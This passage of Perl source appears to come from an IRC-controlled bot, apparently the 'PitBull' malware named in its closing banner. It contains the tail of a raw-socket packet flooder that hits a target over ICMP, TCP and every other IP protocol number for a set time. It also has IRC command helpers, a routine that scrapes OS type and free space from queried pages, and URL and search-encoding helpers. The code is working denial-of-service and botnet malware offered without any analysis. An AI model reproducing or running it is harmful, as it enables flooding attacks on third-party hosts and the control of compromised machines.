			send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
			send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
			for (my $pc = 3; $pc <= 255;$pc++) {
				next if $pc == 6;
				$cur_time = time - $itime;
				last if $cur_time >= $ftime;
				socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
				send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
			}
		}
		last if $cur_time >= $ftime;
	}
	return($cur_time, %pacotes);
}

sub ctcp {
	return unless $#_ == 1;
	sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}

sub msg {
	return unless $#_ == 1;
	sendraw("PRIVMSG $_[0] :$_[1]");
}

sub notice {
	return unless $#_ == 1;
	sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
	return unless $#_ == 1;
	sendraw("MODE $_[0] +o $_[1]");
}

sub deop {
	return unless $#_ == 1;
	sendraw("MODE $_[0] -o $_[1]");
}

sub j {
	&join(@_);
}

sub join {
	return unless $#_ == 0;
	sendraw("JOIN $_[0]");
}

sub p {
	part(@_);
}

sub part {
	sendraw("PART $_[0]");
}

sub nick {
	return unless $#_ == 0;
	sendraw("NICK $_[0]");
}

sub quit {
	sendraw("QUIT :$_[0]");
}

sub os(){
	my $sito=$_[0];
	my $Res=query($sito);
	my $type;
	my $free;
	my $str;
	while($Res=~m/<br>OSTYPE:(.+?)\<br>/g){
		$type=$1;
	}
	while($Res=~m/<br>Free:(.+?)\<br>/g){
		$free=$1;
	}
	$str=$type.",".$free;
	return $str;
}

sub links(){
	my @l;
	my $link=$_[0];
	my $host=$_[0];
	my $hdir=$_[0];
	$hdir=~s/(.*)\/[^\/]*$/\1/;
	$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
	$host.="/";
	$link.="/";
	$hdir.="/";
	$host=~s/\/\//\//g;
	$hdir=~s/\/\//\//g;
	$link=~s/\/\//\//g;
	push(@l,$link,$host,$hdir);
	return @l;
}

sub geths(){
	my $host=$_[0];
	$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
	return $host;
}

sub key(){
	my $chiave=$_[0];
	$chiave =~ s/ /\+/g;
	$chiave =~ s/:/\%3A/g;
	$chiave =~ s/\//\%2F/g;
	$chiave =~ s/&/\%26/g;
	$chiave =~ s/\"/\%22/g;
	$chiave =~ s/,/\%2C/g;
	$chiave =~ s/\\/\%5C/g;
	return $chiave;
}

sub unici{
	my @unici = ();
	my %visti = ();
	foreach my $elemento ( @_ ){
		next if $visti{ $elemento }++;
		push @unici, $elemento;
	}   
	return @unici;
}

########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################